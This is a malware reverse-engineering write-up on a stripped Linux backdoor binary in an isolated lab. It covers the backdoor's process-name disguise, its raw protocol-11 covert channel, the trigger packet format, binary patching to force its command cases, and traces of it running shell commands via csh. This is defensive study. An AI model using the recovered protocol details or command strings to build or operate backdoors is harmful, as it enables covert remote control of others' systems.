The Reverse Challenge: analysis

 

 

This chapter tells the details of what we did, how we did it and why we did it; it is quite a long story.

 

Our first step analyzing the recently downloaded ‘the-binary’ file is determine what type of file it is:

 

# file the-binary

the-binary: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, stripped

 

That gives a lot of useful information:

 

-          It is an standard ELF executable, probably a Linux binary.

-          There is no debug information, symbols are stripped, and no shared library file is used. That makes our task a lot harder: forget about easy debugging with gdb, and we must dismiss using tools like ltrace.

 

Let’s continue our static analysis:

 

# strings -a the-binary

  <-lots of output lines deleted->

 

From its output we can conclude several things:

 

The multiple entries like:

 

GCC: (GNU) 2.7.2.l.2

 

indicate the program has been generated with gcc version 2.7.2.1.2.

 

@(#) The Linux C library 5.3.12

 

Confirms this is a linux binary, compiled with libc version 5.

 

These lines are quite interesting:

 

[mingetty]

/tmp/.hj237349

/bin/csh -f -c "%s" 1> %s 2>&1

TfOjG

/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.

PATH

HISTFILE

linux

TERM

/bin/sh

/bin/csh -f -c "%s"

 

mingetty is a minimal getty process for virtual consoles (see man 8 mingetty). Why should this be here?

/tmp/.hj237349 indicates a temporal filename, the leading dot is a simple method of trying to hide it.

/bin/csh –f –c “%s” 1> %s 2>&1, and the other csh reference indicates that, at some point, the program will try to execute a command with csh, redirecting its output.

TfOjG seems to be a password-like string. Maybe at some point it is used to validate user input.

PATH, HISTFILE, etc... are common shell environment variables. This shows that, somewhere, the program is able to open a shell.

 

%d.%d.%d.%d

%u.%u.%u.%u

%c%s

gethostby*.getanswer: asked for "%s", got "%s"

RESOLV_HOST_CONF

/etc/host.conf

order

resolv+: %s: "%s" command incorrectly formatted.

 

..and etc... indicates that the library resolv+ (now part of libc) is included in the binary. So, at some point, the program will try to resolve hostnames or IP addresses; some network activity is expected then.

 

The lines

yplib.c,v 2.6 1994/05/27 14:34:43 swen Exp

/var/yp/binding

 

and many others like them indicate the presence of libc NIS calls. The resolv+ library uses them, but they could also be called directly.

 

The string

*nazgul*

 

seemed very suspicious (a password or the like), but a quick search on the web showed us it marks the beginning of a Linux compiled message catalog. It is so fun to learn...

 

We then proceeded to get file information from objdump.

 

# objdump -x the-binary

 

the-binary:     file format elf32-i386

the-binary

architecture: i386, flags 0x00000102:

EXEC_P, D_PAGED

start address 0x08048090

 

Program Header:

    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12

         filesz 0x00024222 memsz 0x00024222 flags r-x

    LOAD off    0x00024228 vaddr 0x0806d228 paddr 0x0806d228 align 2**12

         filesz 0x0000c094 memsz 0x00011970 flags rw-

             

Sections:

Idx Name          Size      VMA       LMA       File off  Algn

  0 .init         00000008  08048080  08048080  00000080  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

  1 .text         0001f53c  08048090  08048090  00000090  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

  2 __libc_subinit 00000004  080675cc  080675cc  0001f5cc  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  3 .fini         00000008  080675d0  080675d0  0001f5d0  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

  4 .rodata       00004c4a  080675d8  080675d8  0001f5d8  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  5 .data         0000c084  0806d228  0806d228  00024228  2**2

                  CONTENTS, ALLOC, LOAD, DATA

  6 .ctors        00000008  080792ac  080792ac  000302ac  2**2

                  CONTENTS, ALLOC, LOAD, DATA

  7 .dtors        00000008  080792b4  080792b4  000302b4  2**2

                  CONTENTS, ALLOC, LOAD, DATA

  8 .bss          000058dc  080792bc  080792bc  000302bc  2**2

                  ALLOC

  9 .note         00000d5c  00000000  00000000  000302bc  2**0

                  CONTENTS, READONLY    

 10 .comment      00000ea6  00000000  00000000  00031018  2**0

                  CONTENTS, READONLY

objdump: the-binary: no symbols  

 

****************

The program will beging at memory address 0x08048000.

The program will be loaded at address 0x08048000+00000090=0x08048090.

The .text section is "big": 0x0001f53c bytes.

It is located 0x90 into the file.

And, it is aligned to 16 byte boundary: 2^4 = 2**4 = 16.

****************

 

Nothing really new here. But then we, for the first time, generated a HUGE assembler listing with objdump –d and -D:  (lots of info suppressed)

 

# objdump -d the-binary 

objdump: the-binary: no symbols

 

the-binary:     file format elf32-i386

 

Disassembly of section .init:

 

08048080 <.init>:

 8048080:       e8 23 f5 01 00          call   0x80675a8

 8048085:       c2 00 00                ret    $0x0

Disassembly of section .text:

 

08048090 <.text>:

 8048090:       59                      pop    %ecx    

...

 80675cb:       90                      nop

Disassembly of section .fini:

 

080675d0 <.fini>:

 80675d0:       e8 3b 0b fe ff          call   0x8048110

 80675d5:       c2 00 00                ret    $0x0

 

 

# objdump -D the-binary

...

...

080675cc <__libc_subinit>:

 80675cc:       3c 6d                   cmp    $0x6d,%al

 80675ce:       05                      .byte 0x5

 80675cf:       08                      .byte 0x8

Disassembly of section .fini:

 

080675d0 <.fini>:

 80675d0:       e8 3b 0b fe ff          call   0x8048110

 80675d5:       c2 00 00                ret    $0x0

...

...

Disassembly of section .rodata:

 

080675d8 <.rodata>:

 80675d8:       5b                      pop    %ebx        

...

...

0806d228 <.data>:

 806d228:       00 00                   add    %al,(%eax)        

...

...

080792ac <.ctors>:

 80792ac:       ff                      (bad)

 80792ad:       ff                      (bad)

 80792ae:       ff                      (bad)

 80792af:       ff 00                   incl   (%eax)

 80792b1:       00 00                   add    %al,(%eax)

        ...

Disassembly of section .dtors:

 

080792b4 <.dtors>:

 80792b4:       ff                      (bad)

...

 

It was  mostly unreadable.

 

We tried to determine what system calls could the binary execute. Knowing that system calls are executed in Linux in the following way:

 

-          Calls are made through INT 0x80

-          System call is identified with EAX register

-          First 5 parameters are send with EBX, ECX, EDX, ESI and EDI registers.

-          More parameters (if any) are sent through the stack.

 

and that the call identification numbers are defined in /usr/include/asm/unistd.h, locating system calls is easy: just search for “int    $0x80” in the listing (or “cd 80”, the hexadecimal numbers corresponding to such instruction). Doing that:

 

# objdump -d the-binary 2>/dev/null| grep "cd 80" | wc -l

     47    

 

So there are 47 system calls in the binary.

 

To find a system call and its parameters:

 

# objdump -d the-binary | grep -B 7 "cd 80" | more

...

EXAMPLE:

--

 80480e6:       e8 49 00 00 00          call   0x8048134

 80480eb:       50                      push   %eax

 80480ec:       e8 cb de 00 00          call   0x8055fbc

 80480f1:       5b                      pop    %ebx

 80480f2:       8d b4 26 00 00 00 00    lea    0x0(%esi,1),%esi

 80480f9:       8d b4 26 00 00 00 00    lea    0x0(%esi,1),%esi

 8048100:       b8 01 00 00 00          mov    $0x1,%eax

 8048105:       cd 80                   int    $0x80

--   

 

At this point, a small perl script was created to identify system calls in the objdump output. The script, called syscall.pl is available as appendix 0. With it, it was possible to clearly generate a list of the system calls in the code:  (parameters omitted for brevity)

 

 80480b4: cd 80                      int    $0x80 # personality()

 8048105: cd 80                      int    $0x80 # exit()

 8056a11: cd 80                      int    $0x80 # wait4()

 8056a54: cd 80                      int    $0x80 # socketcall()

 8056a9c: cd 80                      int    $0x80 # socketcall()

 8056ae4: cd 80                      int    $0x80 # socketcall()

 8056b26: cd 80                      int    $0x80 # socketcall()

 8056b72: cd 80                      int    $0x80 # socketcall()

 8056bcc: cd 80                      int    $0x80 # socketcall()

 8056c1e: cd 80                      int    $0x80 # socketcall()

 8056c78: cd 80                      int    $0x80 # socketcall()

 8056cd1: cd 80                      int    $0x80 # socketcall()

 8056d1c: cd 80                      int    $0x80 # socketcall()

 8057140: cd 80                      int    $0x80 # chdir()

 805716c: cd 80                      int    $0x80 # close()

 805719b: cd 80                      int    $0x80 # dup2()

 80571ca: cd 80                      int    $0x80 # execve()

 80571f0: cd 80                      int    $0x80 # fork()

 8057214: cd 80                      int    $0x80 # geteuid()

 8057238: cd 80                      int    $0x80 # getpid()

 8057263: cd 80                      int    $0x80 # gettimeofday()

 8057292: cd 80                      int    $0x80 # ioctl()

 80572bf: cd 80                      int    $0x80 # kill()

 80572ee: cd 80                      int    $0x80 # open()

 805731e: cd 80                      int    $0x80 # read()

 8057344: cd 80                      int    $0x80 # setsid()

 8057372: cd 80                      int    $0x80 # sigprocmask()

 805739c: cd 80                      int    $0x80 # uname()

 80573c8: cd 80                      int    $0x80 # unlink()

 80573fa: cd 80                      int    $0x80 # write()

 8057424: cd 80                      int    $0x80 # alarm()

 8057450: cd 80                      int    $0x80 # time()

 8057482: cd 80                      int    $0x80 # writev()

 80574ac: cd 80                      int    $0x80 # select()

 80574f7: cd 80                      int    $0x80 # sigaction()

 8057530: cd 80                      int    $0x80 # sigsuspend()

 8057560: cd 80                      int    $0x80 # exit()

 8065d23: cd 80                      int    $0x80 # mmap()

 8065d65: cd 80                      int    $0x80 # stat()

 8065da1: cd 80                      int    $0x80 # fstat()

 8066106: cd 80                      int    $0x80 # fcntl()

 8066136: cd 80                      int    $0x80 # lseek()

 8066163: cd 80                      int    $0x80 # munmap()

 8066192: cd 80                      int    $0x80 # readv()

 80661c6: cd 80                      int    $0x80 # mremap()

 8066206: cd 80                      int    $0x80 # brk()

 8066244: cd 80                      int    $0x80 # brk()

 

 

Obviously, the binary can still hide more system calls, as more code sections could be hidden in other parts of the program, posing as data. Or the program could modify itself under certains conditions. But it is a start to have this list...

 

There are many socketcall(), that confirms the hypothesis of lots of network usage, and there are some potentially dangerous system calls, such as kill or unlink.

 

We then decided to give IDA-pro a try... With it, we generated another HUGE assembler listing. Main advantage here is that IDA makes a great job with some operations, like a switch statement, that makes the code more readable. More interestingly, it automatically identifies all the linux system calls, and put a comment in the corresponding line. It wouldn’t be the last time we discovered an easier way to do something we had already done.

 

Finally, we run DEC against the binary. It generates a C-like code, so it helps to transform those dark lines full of CMP, JNZ, JZ, etc... instructions into something more readable. But it still generates a very long –and incomprehensible- listing.

 

It was totally impractical to analyze directly such beasts without more help, so we tried some other approach.

 

It was time to start a bit of dynamic analysis.

 

It could be potentially dangerous to run such a program in an unprotected environment, so we proceeded to build our test box:

 

First of all, we created a vmware Linux disk inside our original Linux test system. The advantage of it is maximum isolation and restoring in minutes if needed. VMware network configuration used was “host-only”. This setting allows the creation of a virtual network, based on an internal VMware virtual hub, communicating the guest and host operating systems without needing a real network connection. This kind of configuration involves a controlled and isolated environment where you can develop any network test without damaging other systems.

 

Inside of it, just for checking if we could use it in some other systems without vmware, we created a chroot environment with a shell plus some basic tools inside, like strace. The process is easy: just copy binaries and shared libraries used by them, identified with the ldd command.

 

A chroot’ed environment is not totally secure. There are some forms to escape from it, if you are root. So we decided to start the program with a non-root user, running a simple program named change-user, that changes real uid & gid to a test account.

 

Here is the script session of what we did:

 

# chroot ./chroot

bash# change-user

uid=500(test) gid=500(test) groups=500(test)

bash$ strace ./the-binary

execve("./the-binary", ["./the-binary"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 500

_exit(-1)                               = ?

bash$

 

Ooops! Program is getting its effective uid at the very beginning and exits. Most likely it expects to be in a privileged account and refuses to run in a normal one.

 

 

We decided to run the binary with a root account. After all, the worst thing would be to reinstall our vmware environment, and no chroot() system call had been found in the binary (the easiest way to escape a chroot jail):

 

bash# strace ./the-binary

execve("./the-binary", ["./the-binary"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

fork()                                  = 1767

_exit(0)                                = ?

 

Now, program has created a child process and exited. A quick check with ps shows that no process with PID 1767 is running.

 

Let’s try again, but now using the –f option to strace, so it follows child processes:

 

bash# strace -f ./the-binary

execve("./the-binary", ["./the-binary"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

fork()                                  = 1777

[pid  1777] setsid( <unfinished ...>

[pid  1776] _exit(0)                    = ?

<... setsid resumed> )                  = 1777

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

fork()                                  = 1778

[pid  1777] _exit(0)                    = ?

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1020713618

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0,       (ctrl-C was pressed here)

 <unfinished ...>

 

OK. Now we have a lot of information.

 

First of all, two consecutive fork() calls are executed. That explained why there was no trace of the child process created before. This is a quite suspicious behaviour: most of standard unix daemons will create a child process with fork(), but not two in cascade; it is likely that the purpose of them is just making our job as analysts more difficult.

 

After that, a bit of action is done: signals SIGCHLD, SIGTERM and SIGHUP are captured and ignored (the binary doesn’t want to be killed easily), changes to root directory (it doesn’t seem to worry about being in a chroot’ed environment), closes stdin, stdout, and stderr, and opens a socket in raw mode (so it becomes its standard input). It then tries to receive something through that socket. After a while, it was clear nothing else was going to happen, so we stopped it with Ctrl-C.

 

Interestingly, the socket is opened with unknown protocol 0xB. So it is trying to listen in quite a strange network traffic, most likely nobody will normally send.

 

Protocol 0xB was  unknown to strace and to us, so we did a small search about it and found this in /etc/protocols:

 

nvp     11      NVP-II          # Network Voice Protocol

 

Specifications for the Network Voice Protocol (NVP) are available in RFC741.

 

It could be that this is a very specialized sniffer, but most likely is just waiting for someone to instruct it what to do; and the 0xB protocol is just a covert-channel.

 

We decided to build up a program capable of sending data with IP 0xB protocol, and send it to the binary, to check its reactions. Making such a program is quite trivial: we named it talk.c and it is available as appendix 0.

 

At this point we also worried if the binary would check specific information in the IP header, so we decided to build another program capable of talking 0xB protocol, but this time based on libnet library[3]. That program would give us an easy way of controlling network headers in case we would need it. We named it rev.c, and it is available as appendix 0.

 

In parallel, we discovered fenris. We found it through simple web crawling, searching for a miraculous tool that will help us in our task. At the beginning we started playing around with version 0.01. Better not to talk about the hours lost trying to compile, set up the tool, find the correct command line options... to find several days later that fenris author gave an indication of how to start using it against "the-binary", and there was a version 0.02 available with more options. At the time we found this information we had solved that questions by ourselves...

 

Anyway, fenris is a great tool, but it isn't easy to make it work in a chroot environment, so we decided to run it out of it. (Again: this is just a test environment with vmware. We are not so crazy). It would be nice to have an “attach to running pid” option in fenris.

 

You should read fenris documentation, but one of the most useful things it does is identifying library functions. This is done getting the first bytes (by default, 24) of every function in a library and generating a MD5 checksum with them. After that, every time a function is called, its own MD5 checksum is generated and compared with the references previously stored. If there is a match, voilà, we have –probably, there are false positives- identified a function.

 

As "the binary" was compiled with a version 5 library, a special signature database, provided with the name support/fn-libc5.dat, should be used so functions are properly identified.

 

So, we run:

 

# ./fenris -s -f –p -L support/fn-libc5.dat /root/chroot/reverse/the-binary

 

+++ Executing '/root/chroot/reverse/the-binary' (pid 12261, static) +++

[00000000] 0:00 \ new map: 40000000:77824 (/lib/ld-linux.so.2)

[080480ba] 12261:00 SYS personality (0x0) = -1073742596 (Unknown error 1073742596)

[080480c7] 12261:00 local fnct_1 (0, 1, l/bffffcf4, l/bffffcfc)

[080480c7] 12261:00 + fnct_1 = 0x805756c

[080480c7] 12261:00 # Matches for signature 168E4F1E: setfpucw

[08057579] 12261:01  <8057579> cndt: on-match block +5 executed

[080575a6] 12261:00 ...return from function = <void>

[080480cf] 12261:00 local fnct_2 ()

[080480cf] 12261:00 + fnct_2 = 0x8056d44

[080480cf] 12261:00 # Matches for signature 9C89C698: libc_init

....

 

These lines identify several libc startup functions: setfpucw, libc_init, the call to personality(), etc... For each of the functions identified by fenris in a certain address, we made a change in our assembler listings (IDA, objdump and REC). Changing something like “call 0x08056d44” to a “call libc_init” it certainly makes your life easier.

 

[080480d9] 12261:00 + fnct_4 = 0x8055f08

[080480d9] 12261:00 # Matches for signature D8F7AA72: atexit

...

[08055f0f] 12261:01  + fnct_5 = 0x8055f34

[08055f0f] 12261:01  # Matches for signature B1845073: new_exitfn

...

[0804817b] 12261:02   + fnct_9 = 0x805720c

[0804817b] 12261:02   # Matches for signature 5527EA2B: geteuid libc_geteuid

 

are more library functions being identified.

 

[080481a3] 12261:02   local fnct_10 (l/bffffd97 "/root/chroot/reverse/the-binary", 0, 31)

[080481a3] 12261:02   + fnct_10 = 0x8057764

[080481a3] 12261:02   \ new buffer candidate: bffffd97:32

[080481a3] 12261:02   # Matches for signature 4E05FA21: memset

 

This is something really interesting: program is calling memset with these parameters: a string containing its name, a 0, and a 31 –the length of its name-. Most likely, program is erasing its own name!

 

At this point, a quick check with ps command showed that the binary has indeed been messing around with its name: all instances are created with “[mingetty]” as a process name. That explains why this string was in the binary: it is an attempt to hide himself, acting as a system process.

 

Let’s continue with fenris output:

 

[080481d0] 12261:02   local fnct_11 (17, 1)

[080481d0] 12261:02   + fnct_11 = 0x80569bc

[080481d0] 12261:02   # Matches for signature 8AE66F9A: signal ssignal

 

It is capturing signal 17 (SIGCHLD) as we already knew from strace output.

 

[080481d5] 12261:02   + fnct_13 = 0x80571e8

[080481d5] 12261:02   # Matches for signature BCF79788: fork libc_fork vfork

[080571f0] 12261:03    fork () = 12262

+++ New process 12262 attached +++

 

Here the fork() function is identified. The created process is also traced, as we specified the –f option to fenris.

 

[08056026] 12261:04     local fnct_18 (0)

[08056026] 12261:04     + fnct_18 = 0x8057554

[08056026] 12261:04     # Matches for signature 84D91FB0: exit

 

The father process exits after flushing buffers...

 

[080481e8] 12262:02   + fnct_14 = 0x805733c

[080481e8] 12262:02   # Matches for signature DD587118: libc_setsid setsid

[08057348] 12262:03    SYS setsid () = 12262

 

The child process continues, and as a first step it executes setsid().

 

And then, after several signal() calls it creates another child:

 

[080481f6] 12262:02   # Matches for signature BCF79788: fork libc_fork vfork

[080571f0] 12262:03    fork () = 12263

+++ New process 12263 attached +++

 

We later on found that we were lucky the first time. Doing two quick forks is likely to confuse fenris enough so the second child is not analyzed! Sometimes the system has to spend some time to attach to the new process...

 

This second child does the actions we already knew, allowing us to identify the library functions chdir and close. And then something interesting happens:

 

[0804824b] 12263:02   local fnct_17 (0)

[0804824b] 12263:02   + fnct_17 = 0x8057444

[0804824b] 12263:02   # Matches for signature 58B72F00: libc_time time

[08057454] 12263:03    SYS time (0x0) = 1021219858 [Sun May 12 18:10:58 2002]

[08057456] 12263:03    <8057456> cndt: if-above block (signed) +16 executed

[0805746c] 12263:02   ...return from function = <void>

[08048254] 12263:02   local fnct_18 (1021219858)

[08048254] 12263:02   + fnct_18 = 0x80559a0

[08048254] 12263:02   # No matches for signature BAEE4234.

 

It is calling the time() function, to get the local time, and then it calls an unknown fnct_18() with its result. The fnct_18 then enters in a kind of loop calling the also unknown fnct_19:

 

[08055b9c] 12263:03    local fnct_19 ()

[08055b9c] 12263:03    # No matches for signature 60DCBA5A.

[08055e42] 12263:04     <8055e42> cndt: on-match block +36 skipped

[08055e93] 12263:04     <8055e93> cndt: if-below block (signed) +19 executed

[08055eba] 12263:04     <8055eba> cndt: if-below block (signed) +10 executed

[08055ecb] 12263:03    ...return from function = <void>

[08055bae] 12263:03    <8055bae> cndt: if-above block (unsigned) -20 repeated

[08055b9c] 12263:03    local fnct_19 ()

[08055b9c] 12263:03    # No matches for signature 60DCBA5A.

[08055e42] 12263:04     <8055e42> cndt: on-match block +36 skipped

[08055e93] 12263:04     <8055e93> cndt: if-below block (signed) +19 executed

....lots of similar lines here...

 

What could be the time needed for? At this point we had some alternatives:

 

q       it is a kind of random() function, and is using current time as a seed.

q       it is a ciphering function, using time to complicate it... Such a ciphering algorithm would be difficult to be used to communicate with other party, as they would have to agree on local time, but it is possible.

q       the binary makes some job or some other depending on the local time, like a virus that formats the hard disk on Friday 13.

 

Let’s going on with fenris output:

 

[08048262] 12263:02   local fnct_20 (2, 3, 11)

[08048262] 12263:02   + fnct_20 = 0x8056cf4

[08048262] 12263:02   # No matches for signature 93D3112B.

[08056d20] 12263:03    SYS socket (PF_INET, SOCK_RAW, 11 [unknown]) = 0

[08056d20] 12263:03    @ created fd 0 (<new PF_INET:SOCK_RAW:unknown>)

 

Function fnct_20 creates the raw socket. Interestingly, fenris does not identify it as being the library function socket(), although it really looks as it: the parameters 2,3 and 11 correspond to the correct ones to use for creating a raw ip socket with protocol 0xB. At this point, we decided to start naming all the functions following this criteria:

 

q       Functions identified by fenris: libc_something, where something is the identified function.

q       Functions not identified by fenris as library ones, but that looks as being one: nonlibc_something.

q       Functions not identified at all: fnct_XX, being the name assigned by fenris.

 

[080482c5] 12263:02   local fnct_21 (0, l/bffff4d4, 2048, 0)

[080482c5] 12263:02   + fnct_21 = 0x8056b44

[080482c5] 12263:02   + l/bffff4d4 (maxsize 2060) = stack of fcnt_8 (0 down)

[080482c5] 12263:02   # No matches for signature 16E2ECD3.

[08056b76] 12263:03    [08056b76] 12263:03    SYS recv (0, bffff4d4 "E?", 2048, 0x0) = 21

[08056b76] 12263:03    + l/bffff4d4 (maxsize 2060) = stack of fcnt_8 (1 down)

[08056b76] 12263:03    + fd 0: "<new PF_INET:SOCK_RAW:unknown>", opened in S fnct_20:socketcall

 

Finally, we get to the point of listening on the raw socket. This function fnct_21 also looks like the library recv function but it is not identified... Is this using a kind of socket library different than the one included in standard libc?

 

Anyway, after this run of fenris, we had identified several library functions, and named some others, so our IDA, objdump and REC listings seemed a bit more readable, but there was still a lot to be done.

 

It was time to send data through that 0xB protocol, using our talkto program. The first release just read bytes from standard input and builds an IP packet with it.

 

Sending just an ‘A’ through it, it produces a simple behaviour (observed in strace output): it receives the bytes, and start again listening with recv:

 

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)

recv(0,  <unfinished ...>

 

So, the binary is expecting something with a well defined format, not just a random byte. It is time to check with the assembler listing:

 

.text:080482C5                 call    nonlibc_recv     ; Call Procedure

.text:080482CA                 mov     esi, eax

.text:080482CC                 add     esp, 10h        ; Add

.text:080482CF                 mov     edx, [ebp+var_44D0]

.text:080482D5                 cmp     byte ptr [edx+9], 0Bh ; Compare Two Operands

.text:080482D9                 jnz     usleep_and_restart     ; default

.text:080482DF                 mov     ecx, [ebp+var_44D4]

.text:080482E5                 cmp     byte ptr [ecx], 2 ; Compare Two Operands

.text:080482E8                 jnz     usleep_and restart     ; default

.text:080482EE                 cmp     esi, 0C8h       ; Compare Two Operands

.text:080482F4                 jle     loc_8048EB8     ; default

.text:080482FA                 mov     edx, [ebp+var_44E0]

.text:08048300                 push    edx

.text:08048301                 mov     ecx, [ebp+var_44D8]

.text:08048307                 push    ecx

.text:08048308                 lea     eax, [esi-16h]  ; Load Effective Address

.text:0804830B                 push    eax

.text:0804830C                 call    sub_804A1E8     ; Call Procedure

 

After calling recv, at position 080482C5, it starts checking the data received. In position 0x080482D5 it compares the ninth byte with 0xB; if it is not the correct value, jumps to 8048EB8 (where it just calls usleep and returns to the main recv loop, so we named that position as usleep_and_restart). That’s ok, we are already sending such byte.

 

In 0x080482E5 it compares the first byte after the IP header with 0x02. With a different value, it discards the packet and reads another one. So, to be properly formatted, our first byte of 0xB protocol has to be 0x02.

 

Later on, in 0x080482EE compares the result of the nonlibc_recv function with 0xC8. Assuming this function behaves as the standard recv, it is checking that the total bytes received is greater than 200. So, we have to create a packet bigger than 200 bytes (20 of IP header + at least 181 extra bytes).

 

That seems to be all the format needed for the packet to be a valid one. It then calls subroutine sub_804A1E8 with the size of the data, the received bytes (skipping some at the beginning) and another variable, but that’s another story. For the moment, it is time to build up a new version of our talk.c program, to take into account this new information: the first byte is set to 0x02 and, by default, 1500 bytes are sent.

 

Meanwhile, we tried to step over this control of packet format with gdb.

 

A sample session with gdb follows, to show how to step over one of those cmp instructions. Just set the checked value to be the correct one.

 

bash# gdb reverse/the-binary 867

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(no debugging symbols found)...

 

//867: No such file or directory.

Attaching to program: /reverse/the-binary, Pid 867

0x8056b74 in ?? ()

(gdb) b*0x080482E5

Breakpoint 1 at 0x080482e5

(gdb) c

Continuing.

                (sample OxB protocol packet is sent at this point)

Breakpoint 1, 0x080482e5 in ?? ()

(gdb) p *0xbffff4f8=2

$1 = 2

(gdb)

 

Working that way, we can avoid the program to exit and simulate that the incoming packet is properly formatted. So, working that way we get to the code after the call to the subroutine sub_804A1E8:

 

0000:08048311                 add     esp, 0Ch         ; ESP=ESP+0Ch

0000:08048314                 movzx   eax, [ebp+var_3] ; var_3 is the 3th argument passed to previous function.

0000:0804831B                 dec     eax

0000:0804831C                 cmp     eax, 0Bh         ; switch 12 cases

0000:0804831F                 ja      usleep_and_restart ; default

0000:08048325                 jmp     dword ptr ds:switch_table[eax*4] ; switch jump

0000:08048325 ; ---------------------------------------------------------------------------

0000:0804832C switch_table:

0000:0804832C                 dd offset case_0 ;jump table for switch statement

0000:0804832C                 dd offset case_1

0000:0804832C                 dd offset case_2

0000:0804832C                 dd offset case_3

0000:0804832C                 dd offset case_4

0000:0804832C                 dd offset case_5

0000:0804832C                 dd offset case_6

0000:0804832C                 dd offset case_7

0000:0804832C                 dd offset case_8

0000:0804832C                 dd offset case_9

0000:0804832C                 dd offset case_10

0000:0804832C                 dd offset case_11

 

 

We can see that the binary is checking the result of the subroutine sub_804A1E8 (the third argument passed to the function is modified inside it); if the first byte is bigger than 11, it just restarts the recv loop. Otherwise it enters a switch statement, jumping to different points of the program. So it seems that this byte is a kind of action selector.

 

We tried to analyze this new 11 points through gdb (I will save you the long sessions) but it is definitively very difficult to do it. We needed the help of strace & fenris, but at this point we didn’t know how to make this subroutine sub_804A1E8 to produce the output we need, so we tried a different approach: modify the binary so the register EAX contains the value we want, regardless of the results of the subroutine.

 

In particular, we would like to modify the line:

 

0000:0804831B                 dec     eax

 

to:

 

0000:0804831B                 mov     eax, [want-we-like]

 

before the switch jump. But the second instruction is encoded with two bytes instead of the one used by the “dec eax” instruction. Modifing just these two bytes would create a bad instruction, so we added several nop’s at the end so the

 

cmp     eax, 0Bh

ja      usleep_and_restart

 

instructions are overwritten. That way, using a binary editor we search for:

 

48 83 F8 0B 0F 87 93 0B 00 00 FF 24 85 2C

 

and replaced it with:

 

B8 XX 00 00 00 90 90 90 90 90 FF 24 85 2C

 

where XX is the switch case we want to force. Doing this, we created twelve copies of “the-binary”, calling them “the-binary0”, “the-binary1”, etc... that, regardless of the packet sent, it behaves as if the correct order had been sent.

 

Now we could run a strace for each of the cases. For example, running strace against “the-binary2”, we found some useful information:

 

bash# strace -f reverse/the-binary2

execve("reverse/the-binary2", ["reverse/the-binary2"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

fork()                                  = 916

[pid   915] _exit(0)                    = ?

setsid()                                = 916

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

fork()                                  = 917

[pid   916] _exit(0)                    = ?

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021483003

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

fork()                                  = 921

[pid   917] oldselect(1, NULL, NULL, NULL, {0, 10000} <unfinished ...>

[pid   921] setsid()                    = 921

[pid   921] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

[pid   921] fork()                      = 922

[pid   917] <... oldselect resumed> )   = 0 (Timeout)

[pid   917] recv(0,  <unfinished ...>

[pid   921] sigprocmask(SIG_BLOCK, [ALRM], []) = 0

[pid   921] sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x40037c68) = 0

[pid   921] time(NULL)                  = 1021483011

[pid   921] alarm(10)                   = 0

[pid   921] sigsuspend([] <unfinished ...>

[pid   922] sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

[pid   922] sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

[pid   922] sigprocmask(SIG_BLOCK, [CHLD], []) = 0

[pid   922] fork()                      = 923

[pid   922] wait4(923,  <unfinished ...>

[pid   923] sigaction(SIGINT, {SIG_DFL}, NULL, 0x29) = 0

[pid   923] sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x2a) = 0

[pid   923] sigprocmask(SIG_SETMASK, [], NULL) = 0

[pid   923] execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"\352\352\352\352\352\352\352\340\352\352"...], [/* 25 vars */]) = 0

 

Hey! After receiving the packet and interpreting it as command number 2, the binary created a child process with fork() and then call execve("/bin/sh", ["sh", "-c", "/bin/csh -f –c [some garbage]. So this case runs a command through /bin/csh!.

 

